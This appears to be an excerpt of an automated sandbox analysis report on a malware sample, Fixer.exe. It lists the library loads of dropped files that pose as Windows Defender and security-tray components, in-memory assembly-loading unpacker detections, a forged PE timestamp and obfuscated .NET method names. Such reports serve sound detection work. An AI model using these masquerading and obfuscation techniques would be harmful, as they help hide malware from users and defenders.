Source: C:\Windows\System32\xdwdSecurityHealthSystrays.exe	Section loaded: windows.storage.dll
Source: C:\Windows\System32\xdwdSecurityHealthSystrays.exe	Section loaded: wldp.dll
Source: C:\Windows\System32\xdwdSecurityHealthSystrays.exe	Section loaded: cryptsp.dll
Source: C:\Windows\System32\xdwdSecurityHealthSystrays.exe	Section loaded: rsaenh.dll
Source: C:\Windows\System32\xdwdSecurityHealthSystrays.exe	Section loaded: cryptbase.dll
Source: C:\Windows\System32\xdwdSecurityHealthSystrays.exe	Section loaded: msasn1.dll
Source: C:\Windows\System32\xdwdSecurityHealthSystrays.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\xdwdSecurityHealthSystrays.exe	Section loaded: secur32.dll
Source: C:\Windows\System32\xdwdSecurityHealthSystrays.exe	Section loaded: ntmarta.dll
Source: C:\Windows\System32\Defender.exe	Section loaded: mscoree.dll
Source: C:\Windows\System32\Defender.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\Defender.exe	Section loaded: version.dll
Source: C:\Windows\System32\Defender.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Windows\System32\Defender.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\System32\Defender.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\System32\Defender.exe	Section loaded: edgegdi.dll
Source: C:\Windows\System32\Defender.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\System32\Defender.exe	Section loaded: amsi.dll
Source: C:\Windows\System32\Defender.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\Defender.exe	Section loaded: profapi.dll
Source: C:\Windows\System32\Defender.exe	Section loaded: windows.storage.dll
Source: C:\Windows\System32\Defender.exe	Section loaded: wldp.dll
Source: C:\Windows\System32\Defender.exe	Section loaded: cryptsp.dll
Source: C:\Windows\System32\Defender.exe	Section loaded: rsaenh.dll
Source: C:\Windows\System32\Defender.exe	Section loaded: cryptbase.dll
Source: C:\Windows\System32\Defender.exe	Section loaded: msasn1.dll
Source: C:\Windows\System32\Defender.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\Defender.exe	Section loaded: secur32.dll
Source: C:\Windows\System32\Defender.exe	Section loaded: ntmarta.dll
Source: C:\Windows\System32\xdwdSecurityHealthSystrays.exe	Section loaded: mscoree.dll
Source: C:\Windows\System32\xdwdSecurityHealthSystrays.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\xdwdSecurityHealthSystrays.exe	Section loaded: version.dll
Source: C:\Windows\System32\xdwdSecurityHealthSystrays.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Windows\System32\xdwdSecurityHealthSystrays.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\System32\xdwdSecurityHealthSystrays.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\System32\xdwdSecurityHealthSystrays.exe	Section loaded: edgegdi.dll
Source: C:\Windows\System32\xdwdSecurityHealthSystrays.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\System32\xdwdSecurityHealthSystrays.exe	Section loaded: amsi.dll
Source: C:\Windows\System32\xdwdSecurityHealthSystrays.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\xdwdSecurityHealthSystrays.exe	Section loaded: profapi.dll
Source: C:\Windows\System32\xdwdSecurityHealthSystrays.exe	Section loaded: windows.storage.dll
Source: C:\Windows\System32\xdwdSecurityHealthSystrays.exe	Section loaded: wldp.dll
Source: C:\Windows\System32\xdwdSecurityHealthSystrays.exe	Section loaded: cryptsp.dll
Source: C:\Windows\System32\xdwdSecurityHealthSystrays.exe	Section loaded: rsaenh.dll
Source: C:\Windows\System32\xdwdSecurityHealthSystrays.exe	Section loaded: cryptbase.dll
Source: C:\Windows\System32\xdwdSecurityHealthSystrays.exe	Section loaded: msasn1.dll
Source: C:\Windows\System32\xdwdSecurityHealthSystrays.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\xdwdSecurityHealthSystrays.exe	Section loaded: secur32.dll
Source: C:\Windows\System32\xdwdSecurityHealthSystrays.exe	Section loaded: ntmarta.dll
Source: C:\Windows\System32\Defender.exe	Section loaded: mscoree.dll
Source: C:\Windows\System32\Defender.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\Defender.exe	Section loaded: version.dll
Source: C:\Windows\System32\Defender.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Windows\System32\Defender.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\System32\Defender.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\System32\Defender.exe	Section loaded: edgegdi.dll
Source: C:\Windows\System32\Defender.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\System32\Defender.exe	Section loaded: amsi.dll
Source: C:\Windows\System32\Defender.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\Defender.exe	Section loaded: profapi.dll
Source: C:\Windows\System32\Defender.exe	Section loaded: windows.storage.dll
Source: C:\Windows\System32\Defender.exe	Section loaded: wldp.dll
Source: C:\Windows\System32\Defender.exe	Section loaded: cryptsp.dll
Source: C:\Windows\System32\Defender.exe	Section loaded: rsaenh.dll
Source: C:\Windows\System32\Defender.exe	Section loaded: cryptbase.dll
Source: C:\Windows\System32\Defender.exe	Section loaded: msasn1.dll
Source: C:\Windows\System32\Defender.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\Defender.exe	Section loaded: secur32.dll
Source: C:\Windows\System32\Defender.exe	Section loaded: ntmarta.dll

Source: C:\Users\user\Desktop\Fixer.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{CF4CC405-E2C5-4DDD-B3CE-5E7582D8C9FA}\InprocServer32

Jump to behavior

Source: Fixer.exe

Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR

Source: Fixer.exe

Static PE information: DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE

Source:

Data Obfuscation

.NET source code contains potential unpacker

Source: 6z9uno0baqvej0me.exe.0.dr, XvtqplFAmRakHnvLtpT.cs	.Net Code: KkakfDiBwfKYVVbOUQ System.AppDomain.Load(byte[])
Source: 6z9uno0baqvej0me.exe.0.dr, XvtqplFAmRakHnvLtpT.cs	.Net Code: KkakfDiBwfKYVVbOUQ
Source: 6z9uno0baqvej0me.exe.0.dr, FeMXZbEkIGjJgevW.cs	.Net Code: roZsWKRBZOrvYxlj System.Reflection.Assembly.Load(byte[])
Source: FixerNerest.exe.0.dr, EwsvuuRydySCmvfwUdTl.cs	.Net Code: FyRyFitGWcSvLUVgQQryVi System.AppDomain.Load(byte[])
Source: FixerNerest.exe.0.dr, EwsvuuRydySCmvfwUdTl.cs	.Net Code: FyRyFitGWcSvLUVgQQryVi
Source: FixerNerest.exe.0.dr, GprCBzVajSFPhcvMz.cs	.Net Code: NMmrnMiPoxTKxWYciysWlr System.Reflection.Assembly.Load(byte[])
Source: xdwdSecurityHealthSystrays.exe.2.dr, XvtqplFAmRakHnvLtpT.cs	.Net Code: KkakfDiBwfKYVVbOUQ System.AppDomain.Load(byte[])
Source: xdwdSecurityHealthSystrays.exe.2.dr, XvtqplFAmRakHnvLtpT.cs	.Net Code: KkakfDiBwfKYVVbOUQ
Source: xdwdSecurityHealthSystrays.exe.2.dr, FeMXZbEkIGjJgevW.cs	.Net Code: roZsWKRBZOrvYxlj System.Reflection.Assembly.Load(byte[])
Source: Defender.exe.3.dr, EwsvuuRydySCmvfwUdTl.cs	.Net Code: FyRyFitGWcSvLUVgQQryVi System.AppDomain.Load(byte[])
Source: Defender.exe.3.dr, EwsvuuRydySCmvfwUdTl.cs	.Net Code: FyRyFitGWcSvLUVgQQryVi
Source: Defender.exe.3.dr, GprCBzVajSFPhcvMz.cs	.Net Code: NMmrnMiPoxTKxWYciysWlr System.Reflection.Assembly.Load(byte[])

Source: Fixer.exe

Static PE information: 0xD22848DC [Tue Sep 23 12:17:32 2081 UTC]

Source: C:\Users\user\Desktop\Fixer.exe	Code function: 0_2_029CDD24 push esp; iretd	0_2_029CF149
Source: C:\Users\user\Desktop\Fixer.exe	Code function: 0_2_0623F785 push edi; ret	0_2_0623F786
Source: C:\Users\user\AppData\Local\Temp\6z9uno0baqvej0me.exe	Code function: 2_2_00007FFA1B3C26D2 push FFFFFFE8h; ret	2_2_00007FFA1B3C26D9
Source: C:\Users\user\AppData\Local\Temp\6z9uno0baqvej0me.exe	Code function: 2_2_00007FFA1B3C00BD pushad ; iretd	2_2_00007FFA1B3C00C1
Source: C:\Users\user\AppData\Local\Temp\FixerNerest.exe	Code function: 3_2_00007FFA1B3D00BD pushad ; iretd	3_2_00007FFA1B3D00C1
Source: C:\Windows\System32\xdwdSecurityHealthSystrays.exe	Code function: 13_2_00007FFA1B3A26D2 push FFFFFFE8h; ret	13_2_00007FFA1B3A26D9
Source: C:\Windows\System32\xdwdSecurityHealthSystrays.exe	Code function: 13_2_00007FFA1B3A00BD pushad ; iretd	13_2_00007FFA1B3A00C1
Source: C:\Windows\System32\Defender.exe	Code function: 20_2_00007FFA1B3C00BD pushad ; iretd	20_2_00007FFA1B3C00C1
Source: C:\Windows\System32\Defender.exe	Code function: 22_2_00007FFA1B3900BD pushad ; iretd	22_2_00007FFA1B3900C1
Source: C:\Windows\System32\xdwdSecurityHealthSystrays.exe	Code function: 23_2_00007FFA1B3D26D2 push FFFFFFE8h; ret	23_2_00007FFA1B3D26D9
Source: C:\Windows\System32\xdwdSecurityHealthSystrays.exe	Code function: 23_2_00007FFA1B3D00BD pushad ; iretd	23_2_00007FFA1B3D00C1
Source: C:\Windows\System32\Defender.exe	Code function: 24_2_00007FFA1B3A00BD pushad ; iretd	24_2_00007FFA1B3A00C1

Source: 6z9uno0baqvej0me.exe.0.dr, jzPbPTOKMYzy.cs	High entropy of concatenated method names: 'BvqjRKKKxZ', 'uDiLLLnYqoyNDjxaBj', 'wrmnqWmDlFvylaogMkC', 'BkbHODinAUkJbTciHPsoYHCSv', 'MmOCkpyjdMQfZnozDQVlXS', 'GYxsNbthILYqvZxjuKrpQRcqF', 'ZElxJSupIe', 'xkIkeITAwsaGhaafcgowHm', 'BowLBFwFQTwxZi', 'mJJpIHzxEXj'
Source: 6z9uno0baqvej0me.exe.0.dr, YsWKUSVaFowa.cs	High entropy of concatenated method names: 'tTvXthIVExoTsvxLtZ', 'UtwrBhuHZMwXhFxGlCAkunm', 'vhqbXXOMOCFiwbtp', 'ajIHaHOvoMItpzhHbwUrSjByk', 'ezPJJJKkTDdM', 'acfiKFTZDYaUeZyh', 'iJXRcOgfCziEfddPbtOmBrs', 'iabooejMDcVUpDx', 'zCHFkVYvxFDfju', 'qQGiBmsqYPWBDHJaXvAnyj'
Source: 6z9uno0baqvej0me.exe.0.dr, BElgoLHogWQNwYHuUgCDSGRK.cs	High entropy of concatenated method names: 'baJZzPuRxNSmGjUn', 'WwdzYoCecRRlcvn', 'LNlxOgGVwyKpHOwiPA', 'VgVDlHuXycgVReLuWjpDp', 'HDZeMXNUjVcLStqJzqUIIt', 'dsKvTayZwufZRe', 'uXKetLtGMREM', 'yighOovmCbttlvfRmUZfr', 'xyezEkmydPNOaONyKdiVrvQk', 'PNoZxfgsClhC'
Source: 6z9uno0baqvej0me.exe.0.dr, xqLvAWoeLo.cs	High entropy of concatenated method names: 'CdUisxkdFkFeaDfLWDmvGKKb', 'BzDhNhZlzFIpfXjDqWRsL', 'rULSaZsqrTsxqxhwsCfsb', 'XWqgDsPosiYRHiWvHztJNowhg', 'VtePMSIswobuWAaDaJYYp', 'awvfzRliaJzRXVJdWFIPmhTMd', 'jJOmJHwWThTgTrHNOSvFdEu', 'nSQaMtdiCGibUnzrVBCcJpmRH', 'SBRYPfPRyqrVJaDle', 'JftaSDjbBRmyg'
Source: 6z9uno0baqvej0me.exe.0.dr, ETYzyWSLPrOWhkiLrBuXTiPY.cs	High entropy of concatenated method names: 'oOWCJmYcQnvjThiXoz', 'ihhMfqXbAabVEzYJI', 'JFEqtQwnbXULzejrptHBrLmL', 'CpSrkuXabftSsnQPr', 'zGoawmMJeCGFxT', 'TrbevrdxlYzpYxGqmzxnEib', 'ffaQUTWhaZZvplwXWJDCxwn', 'YMUFAfokPiyQR', 'cSCRPzYKBBCZR', 'fZvirOsIyQhukogGmgGJglAg'
Source: 6z9uno0baqvej0me.exe.0.dr, LRPADrZpfFFGcDsfIXCuiNHyQ.cs	High entropy of concatenated method names: '_003CRun_003Eb__1_0', 'MVeqnrHUVu', 'JPRxKQjqNiQvhhLWOJIH', 'NtWrdHcWXWDpoPep', 'ZGRNcTvawIbVsLMnPvWvGhI', 'TpMNGsRhgWjB', 'FkaaRgzBBeKqCZTHtlrxKu', 'GiUDrtoWbKxJLwVpAJFSL', 'WDTyZmksEe', 'yTrxcIHMHifFP'
Source: 6z9uno0baqvej0me.exe.0.dr, PthsnsfGDgeBRScSJU.cs	High entropy of concatenated method names: 'WPvtoNyDLTEGaSogXzMEc', 'kzIqtnFcyd', 'EDdQWEFDXUaxCBQpXUsAf', 'VfvlxTKxiVbT', 'PLQAvHAFgJCFocyi', 'GcHvhxUkGltZ', 'EVjfBeGTwseCpVtgIqMPa', 'zMahNwQoWHgvEg', 'JbTboJkctscaExug', 'KpWWETQKDIWXW'
Source: 6z9uno0baqvej0me.exe.0.dr, BtukVaynkFNDYhxzrBxPukEK.cs	High entropy of concatenated method names: 'LDSFFMGTtUhoJCk', 'sLtZydnlXBapozRpkTKX', 'iftHjeNQKhzMhCYKlRh', 'hhDmQfuDrEprNCJ', 'ARPyZUMUacGwsfyCdGx', 'bHqEkJYGrH', 'essJTCiqMVjLoYxLMFnOGFJEs', 'KOQwFcTdcEzVfAuQlf', 'wCgmxLBEtsZjoRtrUZPPGrL', 'tMqanUqUdLwYecSlEXakCVLE'
Source: 6z9uno0baqvej0me.exe.0.dr, RBUgQcjHqRKyAa.cs	High entropy of concatenated method names: 'LEZdqsNhpolJzZovnnEEjVKsk', 'dNRuNpUSUgxp', 'VETfseTjhBW', 'KvVPptgskOzQubwoh', 'IxxijAPqSNQ', 'wMuWCtzCfmQwUGED', 'RifCcsZacMVzybScNSnVY', 'CoeYVhANcvLGBflUT', 'VvZhdDhLxUGoQiM', 'fqYEWraOjZnranqtzUzczUK'
Source: 6z9uno0baqvej0me.exe.0.dr, nKgpeZgSTykSYtSbbSV.cs	High entropy of concatenated method names: 'wDxqnrGACQoWOIdDYryoSu', 'fvaMQMFUkvxj', 'NqBnSgQCKODPQODjTgXBu', 'vNfpnxwEaRYtqip', 'WmeGVgWwAxClQ', 'ZipuvnHcsSGGnm', 'XYVuIKkXoxOripqvKnMrqDv', 'BDttLzPtjGdYgqIEpKBxgw', 'mCXvSbuzTdisEQrLo', 'UHcLROUfHCfCyGFfGrnE'
Source: 6z9uno0baqvej0me.exe.0.dr, KUSnSKgmYFGAeAocidYkujJO.cs	High entropy of concatenated method names: 'dQTkcSfTfReMTMW', 'nbVGmtdTwMWaBBaKDUp', 'NCwnahzjKPORBEGInIgjnznQ', 'FRdqTJzXcSlfifFutJhxFYwv', 'XvoFGNOfrVPVsrG', 'tYmVdFcbptqGSr', 'UiYwNLRWFWzqKpYBRajL', 'KaoSTMQMWINAounTvtDcBgydO', 'lQsYfjfhKIjetyA', 'iOmqWulhWhfiy'
Source: 6z9uno0baqvej0me.exe.0.dr, QUoppAEiUBFBpPJBwNJfiPqyc.cs	High entropy of concatenated method names: 'XCJldFJktkEUIpCWsEd', 'VqhiakofQAepMKcCYjXArEW', 'wbFUcMXlVkJgUbLtQ', 'UsGPHxNAxJgdAQTIlyf', 'CEdsUcAvhxYejMke', 'hUHGcOOErjsNMpM', 'vcQONvexRSAkCt', 'gppDeXNZpPncsHiVHLQnkT', 'EmpKpJNdCywMXW', 'ipiCazaSmpixsZmFDNZkR'
Source: 6z9uno0baqvej0me.exe.0.dr, telTuMtmMwDpKCkMfRoN.cs	High entropy of concatenated method names: 'rIpEftCdsi', 'wFYJaLGHcSGHka', 'HsDemLphCVvPOTqI', 'NptFeblULhkjlAEd', 'lKZNwCHXWnevr', 'lJltvhPdRRKadExRUrmDhg', 'GQmmhInHYUtyazGIvwIs', 'CWYCaESmJnFF', 'fdJvhUdKlFkFXSOiqH', 'naDuNjHDVUPhntyTd'
Source: 6z9uno0baqvej0me.exe.0.dr, sMngcJoYCfD.cs	High entropy of concatenated method names: 'NqoQEpSsTwLvYLG', 'xShVFAtygovIPJLQgVcbDDWW', 'slwAsIRDrakyhLMxpjPu', 'dKlvODjesuvKn', 'OxyogdEXiaSyJP', 'OTHcXObKFdFiZzgonux', 'zrviQGGcKdQtTAebnhQynmsKb', 'fYBmeELReWXYMQIzAcMLOZUF', 'FdzKMykHUb', 'aYyMhCVHDPVzqomQyPhF'
Source: 6z9uno0baqvej0me.exe.0.dr, dSDmXFmcLQpf.cs	High entropy of concatenated method names: 'ziEklDxOoeZAgCB', 'dMTBarzvetSRkatBLDS', 'snqYEtpndmqDlxhEVdqHjJFrk', 'dOlYockDlpWvwgCLSsC', 'fmspfiNKNjhynY', 'bCFyNThLshagJF', 'rNpUAqVvsGPZpBHXH', 'QaIMtowybAHFBDEps'
Source: 6z9uno0baqvej0me.exe.0.dr, tGwhiEvIelEIF.cs	High entropy of concatenated method names: 'qbVYeRUeKDssh', 'pMIWvEsBuMeRjSQsQVFHT', 'oFjNrOwtopXJTSciMBTog', 'uMiCORmWmZSD', 'CmiNdFBXotZyyPiIE', 'eFfLXfoAeGRCxqQuavenpi', 'lFSIEPBDNikoxsrPCYd', 'uFlvihEpneQzvauFEW', 'lcCDUMCTCigbPMHkfTWaW', 'LQjRlsXxmKgor'
Source: 6z9uno0baqvej0me.exe.0.dr, bemziMhmpmMerLdV.cs	High entropy of concatenated method names: 'yWKGRtOTIcUqxtNSNbPM', 'VlsSCCkNTeEwH', 'asNKkYgakMwrszLdjNJ', 'clSoOreFoxQtpOmZ', 'RfoevAfVKJ', 'CquqnmCpaYvttbmmwDCeM', 'cSiUrhknSEhtDyDZFDMxz', 'VmuCINiRIfYQOcITvV', 'mFrLzYojXyy', 'OlAwvZoYWEBvCVm'
Source: 6z9uno0baqvej0me.exe.0.dr, mDQHYyyDgioFBJZV.cs	High entropy of concatenated method names: 'yJRtvjLKoz', 'uGmefcsTfwexqBNYFzT', 'CsUetdcqUExkzUJawJZZQFpE', 'MbrhLGKUDbBlIlCz', 'zayuyWsnbv', 'ufwCQKgBkJIynPwsIo', 'XXZOGPFZOFztjKkaYeyVxE', 'PtqcLfCdjz', 'XCUQqnKkSwkPZnDoYOKTqT', 'KVPnuuMbQuvnhFHnK'
Source: 6z9uno0baqvej0me.exe.0.dr, GwWhqodDdzluu.cs	High entropy of concatenated method names: 'IvIOGuRhWYFMuHjkQGxan', 'HaLHdRFAtRAByccwKJtZa', 'betVTtifxUzXoiDzRzbVeoLtI', 'ITvngOKKygNH', 'MSOUfCbousLstxESmTAMMlOjJ', 'kMdjWlJBODQUfqhSNbkunR', 'rMNNulbDfKs', 'OKKWairiBCSnKfu', 'nzPATGmXIYPQnAlKn', 'SHCEJLviEptaDOrEP'
Source: 6z9uno0baqvej0me.exe.0.dr, KZBUhkwxZIxgGTHyBUdIA.cs	High entropy of concatenated method names: 'qihQwZMWKRbXaA', 'vzbnqyYoZdKgkd', 'hekvjSnQoWkDygEi', 'GlGVCUJQRuInlscsokxnfRu', 'inQFuaIUvRay', 'AfKbfRYedCdIKJvHv', 'pqxmOEEVqlosUS', 'VoFnLzzVdElmxjRMMzD', 'HZNQGXKbmqliKepVqUjOq', 'ThdRGlZZcsQiVvao'
Source: 6z9uno0baqvej0me.exe.0.dr, yPMoFGhLUJIDtqrdoF.cs	High entropy of concatenated method names: 'AvNubljotLBITSjnNSJvirWcI', 'HgspljehAflVlDV', 'ozSAolKCeLeJRJZ', 'lJeCvDZRdmSDCrgFZPDWJ', 'dVWpKaEUPqGA', 'cZSWkaAXBSGAmeYjBFCb', 'fIgGtzNIWbxBIEgGsTw', 'kbDQpYvflNlE', 'FwRmQranOfrIzeZsd', 'mFStEFQQUDhX'
Source: 6z9uno0baqvej0me.exe.0.dr, MKCDlISAepQIcIwuZXoEk.cs	High entropy of concatenated method names: 'nHEaTzoWxQZ', 'AFjLdhQolFyaNVhcozCG', 'IXuzKpTMHs', 'jvIrKOuGnv', 'hJdNyRMiyOTerho', 'TsxcdMyrRMpRZ', 'vSGqplVwqBz', 'tmQRRKVCaNqSoVKmv', 'bvJtSAYBrDqWCwcESMbAv', 'vWdhcoBUajAEZEPATPs'
Source: 6z9uno0baqvej0me.exe.0.dr, iEyzZzYuVgHBHuvSVDszSVn.cs	High entropy of concatenated method names: 'DmzaqXtfORSlWFCGyP', 'lfPhiSWydevaNQWwnzxExmcnp', 'JwQAlBCYBwnFRITZQB', 'rFUAJPGAKzzDcrG', 'aicsuXpPaIii', 'lYWbUyWovHlfBrYBtKNLzs', 'nIYTQFZAhXLZbdbItjTearM', 'gQNhyUXpshjSvfGjWHDHqRx', 'RCTcfNQvvfmzrsCMA', 'gtuJMOckITnFCOTp'
Source: 6z9uno0baqvej0me.exe.0.dr, DablsyKhVktwZXmMx.cs	High entropy of concatenated method names: 'GJKVxgQvPV', 'ydsOfJeQCVbYa', 'jderwMUjgNj', 'hdvVwjoVWGAitO', 'vuhfkkRNDlDS', 'sOwefQcBVhYr', 'FiccwyhFZpziyfQPrjtQf', 'HKWCdmGZMInzejlbpF', 'ESZwwglLleyfbFcaSGtUv', 'zcruyAgeQunfbKhNZWraUvOdM'
Source: 6z9uno0baqvej0me.exe.0.dr, IGWfOAHKzj.cs	High entropy of concatenated method names: 'INjbkoTBDyDO', 'wmyuTvpUiWQ', 'AqsFUenQBM', 'jQbBhUpDFsQjcCMqDunZrTYk', 'bwjUQxEkrOeruIAtSLKjHQCIo', 'WOmDPsrEFYFjpvLyknhzJ', 'nfYHNBqLubgfaqxoymzqC', 'njWPXIgOaoblaGeIeq', 'udeDJVVBvovzTj', 'rpkydhffArEoP'
Source: 6z9uno0baqvej0me.exe.0.dr, MLOzRvMQYDeslGhSiqRrD.cs	High entropy of concatenated method names: 'CNbGrDSdnbyQMNsuzSIDmHHwh', 'OvZLrOhNIBYL', 'IyuQCtVtTZn', 'zizMvGeYkpWEckjizFqVoOA', 'rrECLNvVlUr', 'hBNvtmSTbqoSJnuOjSC', 'iuUDBcMXuBSHsEBysvbCv', 'eBDltYShmTSGwngJtRZ', 'ZZXgaFmwVnqAqCPSzPjnENPz', 'mHNRiCJczHEeWLnmWLzcSQ'
Source: 6z9uno0baqvej0me.exe.0.dr, wEmPlHwvhkVaXVXBaeahaqAX.cs	High entropy of concatenated method names: 'mVGvXKixJGKPShLgxTQRR', 'DSxNmbKUFEOd', 'lqAJZncNPNmHwPAcXkGTdSoxK', 'GnpAGApjZqxJqeown', 'LFpMJriUIJV', 'CCzBgpYPGlSNpKfO', 'cfhejlEiudxSmsfNGouJpxzX', 'yamcXzMTageopTRvS', 'LaxUtnzjVlFEefJGlLSGW', 'kyLLAZQVdOXKnxbdgzc'
Source: 6z9uno0baqvej0me.exe.0.dr, VyUkcpVGFrRjScwyVUzGJWx.cs	High entropy of concatenated method names: 'OePLlmVmuhYaBYdb', 'gqiCsQpYwtMwaj', 'BxVxZJVTVeolEVwxrXrcgPUVO', 'notJpUyZZECfCFLXMX', 'fkCAwVYiGSl', 'AjzWgZMpUnewsuLVmRI', 'wRjpkownQm', 'GnaCwCifxzijrFGHBKDwpKj', 'iAKlrcZYivYIRsPTElKC', 'hrjegvdNpCwEtT'
Source: 6z9uno0baqvej0me.exe.0.dr, wdeXDEGcBGXHfb.cs	High entropy of concatenated method names: 'jqVCxngNkCJLbpWAhWqYuD', 'xyOjvRjBjAzlFnTqcQPtVutem', 'GploDvgqXDiDkvBAZLb', 'RMOfNIfJeCF', 'xQLtQvwEFOPPHZfTsUVhC', 'NtbFavQWMUxzGUkHkeOX', 'CxyYocLRKhXhODRSKUBoiCuSI', 'LjljqTfjLwdhlSE', 'BnZRrQTpaJN', 'QzCgPWRcgaqEBfsUpcii'
Source: 6z9uno0baqvej0me.exe.0.dr, YgTRUqGyvMDPAwIs.cs	High entropy of concatenated method names: 'fLfZnpCMphhn', 'QYIhRtBHNJYx', 'aZFOqCvjkyFwkrREfJYK', 'vfHTfOrARCGcHOcHbqesZ', 'ZDkgCjCizznueuyvLnDj', 'wyUdcoxESuSNOFD', 'yMIyiCHpNkiIgfqoqOdF', 'DavFehFUgPouMMb', 'ljtqfQrFoYnDdXAbxRumMsEU', 'UgVtNTSPsF'
Source: 6z9uno0baqvej0me.exe.0.dr, rLSyZeyiGXQodFFJuqzb.cs	High entropy of concatenated method names: 'jiyzoISeTlwlTJHcrob', 'USYqMKRKXONmGEIdT', 'kWfDmmUCJvyhCCXCIQJHndrHH', 'XJeOBdItDFt', 'fmWJBVMqMKPDwrT', 'LGfXvhOKYuuUY', 'ySJrkXlecVvR', 'NuaSKKwiwZWWyXLlHbsRDMx', 'FGwbheKbdoBQxbkKcbBtmUmA', 'sUuCAqAxgNDNVASPu'
Source: 6z9uno0baqvej0me.exe.0.dr, UsOroEkJQwDdcBlH.cs	High entropy of concatenated method names: 'tZXWLhbpGPMmxia', 'gBfOIplZEVfpAhsPo', 'gTNzJKmBhpYXSO', 'DvzGsJEoySqClpZWwxj', 'GMhsVbHHwA', 'CRLwltJwEbePhTIBLISc', 'jMWrOHlQCwrxkolZt', 'dmAfabwzYMavzeYHTFpEWl', 'gCfnSxfWbSUoqYDmu', 'PiYpGwNYcUgkpQsNUduoeCtq'
Source: 6z9uno0baqvej0me.exe.0.dr, OdvZLjiZSxuvnfJkBWEwenrQv.cs	High entropy of concatenated method names: 'fijjjKQXRKunlovkWbVST', 'LZySRCSamfdbDzqjOj', 'QOzqOlQAtRPudQCWKkQ', 'NEqXPJJkwumNlnDOMjkhBCZ', 'XkAKBcgzxqRL', 'cbFbgDyeBJpNnKbAj', 'LehAeIziTOnQvWrqkIfFVya', 'VbKwNSFzNyFgqcwwcxk', 'rlNTWxaSVeWNEDeCxCUBJ', 'CwQKAHLidYNqmjOraQrmdj'
Source: 6z9uno0baqvej0me.exe.0.dr, GcBxRdNtfCWHQtExiPKZUa.cs	High entropy of concatenated method names: 'UoExhHdtqM', 'UOdaJDZllFLdPIOCZ', 'ESTgchINgf', 'CJgurZpUIFGAjovILppSE', 'qmuFomvRwXt', 'iwfiXjYiQx', 'RkrgZxXqMgzStzlkDYqIiHiFy', 'cRGuWmspdUwFWUYggT', 'dmjmyVKapOKCmiwUGkSK', 'ZEWQoxBWjBaOV'
Source: 6z9uno0baqvej0me.exe.0.dr, lQeQOakgBgLnYzXnYfwvsoR.cs	High entropy of concatenated method names: 'ztAfILOSPvBxRhPeW', 'MOeRMzlJYbiMAxz', 'RUaFYpRtYdy', 'WrPRZbbCvihAtymmk', 'uExMQuEQsX', 'ksiBLnhMQnYVxJimZMZCeIVit', 'JaUNIjEFKpyzhLFaUO', 'iADiIeETUScXAHje', 'rCfpRrzsnaeO', 'DoGMLbGsMiDQjmiSyrxhyjRjg'
Source: 6z9uno0baqvej0me.exe.0.dr, QKvpyubntApnPp.cs	High entropy of concatenated method names: 'hJIcmsLfiJhZvvAbDBp', 'EspKISPavnCRQTuIAPHUFeMfR', 'fssYmmasapUyUTdk', 'vGQIcAsanuVsafJtmmWhX', 'QrXtFoCunr', 'uRZAMDsAxysEAAJK', 'hgGDNtqZliv', 'YsGdXfOksaj', 'hZDYmWtvexNGkRhXjba', 'xwZFlbcUvaMHxcVo'
Source: 6z9uno0baqvej0me.exe.0.dr, UyrKerXTOPAkHBLRj.cs	High entropy of concatenated method names: 'xHcODEjHiYWqy', 'EJpsKwGfhupd', 'CWdwiUYXYwGunaX', 'zwXQtgyMSHnF', 'aiYamglEcoWajfM', 'xWVjWixRMYWYRdbhSFyO', 'UBulEWIBpJBldVkRWvrk', 'NNKMnyMpHegy', 'cVbxSLpQXO', 'moIqPwJGdaGnkZQY'
Source: 6z9uno0baqvej0me.exe.0.dr, DyVsvFOlHVfMrKKxFhxnMGPwa.cs	High entropy of concatenated method names: 'UOBIcuNOdorNUcDDOJeNW', 'qYfMcxmwjYSJ', 'zjzslzdhWFsNVkIsGRNPM', 'ccPRPbgETvKrDUPQt', 'taUTnzHNdEdHFu', 'cGWdTkCARmxCdhocp', 'zVlDJpQJCxcbMpQSb', 'snadrZDgqxdgpb', 'jFYnYxhMJhEYpaHmKFbkBx', 'eLzczTgVIAncjrfC'
Source: 6z9uno0baqvej0me.exe.0.dr, ZuoBsZuxQp.cs	High entropy of concatenated method names: 'SHBkDQrVYFDLTTvsBYvfZhpj', 'gYWmBNPyZhN', 'eYHZjmwWjUiwgs', 'UKVlSRfWsUjXsoNul', 'eXAnGpvsNVMqZFIouoEv', 'wyBPEAPEhWawOBVYhDgqZEKK', 'vdPEtYqpni', 'yXCofnfzmtLDmPNkX', 'VrorOIWAAox', 'GaTxaJBrKlYKXHkacogoS'
Source: 6z9uno0baqvej0me.exe.0.dr, EUTyJunaVjfLziLg.cs	High entropy of concatenated method names: 'eegtQQmoHQzAznEMVfEOJG', 'mpQAlxnqMRkwy', 'boDgKBdnaWv', 'yeCGRgXTuEzQBqUZmj', 'rGItrBizEhyPuE', 'yIoFzEYfJXome', 'hEAqHDUqkLFihTmv', 'FMrrLlhjKTbyWDODeXcxYm', 'qIYdzRWFsN', 'iancWTTHxksrOIrfCwJy'
